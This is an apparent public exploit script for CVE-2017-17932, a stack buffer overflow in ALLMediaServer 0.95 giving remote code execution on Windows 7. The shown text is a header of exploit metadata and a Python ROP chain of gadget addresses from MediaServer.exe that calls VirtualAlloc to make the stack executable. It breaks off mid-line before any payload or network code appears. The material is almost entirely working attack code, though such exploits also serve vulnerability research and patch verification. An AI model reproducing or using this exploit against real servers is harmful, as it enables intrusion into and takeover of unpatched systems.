#!/usr/bin/python # Exploit Title: Stack Buffer Overflow in ALLMediaServer 0.95 # Exploit Author: Mario Kartone Ciccarelli # Contact: https://twitter.com/Kartone # CVE: CVE-2017-17932 # Date: 09-01-2018 # Thanks to PoC: https://www.exploit-db.com/exploits/43406/ # Software link: http://www.allmediaserver.org/download # Version: 0.95 # Attack: Remote Code Execution # Tested on: Windows 7 x64 Ultimate Eng SP1 import sys import socket import struct def main(): def create_rop_chain(): rop_gadgets = [ 0x00407f5d, # POP EAX # RETN [MediaServer.exe] 0x00797250, # ptr to &VirtualAlloc() [IAT MediaServer.exe] 0x004061db, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MediaServer.exe] 0x0053bc02, # XCHG EAX,ESI # RETN [MediaServer.exe] 0x006c71f8, # POP EBP # RETN [MediaServer.exe] 0x00449a05, # & jmp esp [MediaServer.exe] 0x0049bbc4, # POP EBX # RETN [MediaServer.exe] 0x00000001, # 0x00000001-> ebx 0x00500b33, # POP EDX # RETN [MediaServer.exe] 0x00001000, # 0x00001000-> edx 0x006b5c67, # POP ECX # RETN [MediaServer.exe] 0x00000040, # 0x00000040-> ecx 0x0042365d, # POP EDI # RETN [MediaServer.exe] 0x006def0d, # RETN (ROP NOP) [MediaServer.exe] 0x0040710f, # POP EAX # RETN [MediaServer.exe] 0x90909090, # nop 0x0068c35c, # PUSHAD # RETN [MediaServer.exe] ] return ''.join(struct.pack('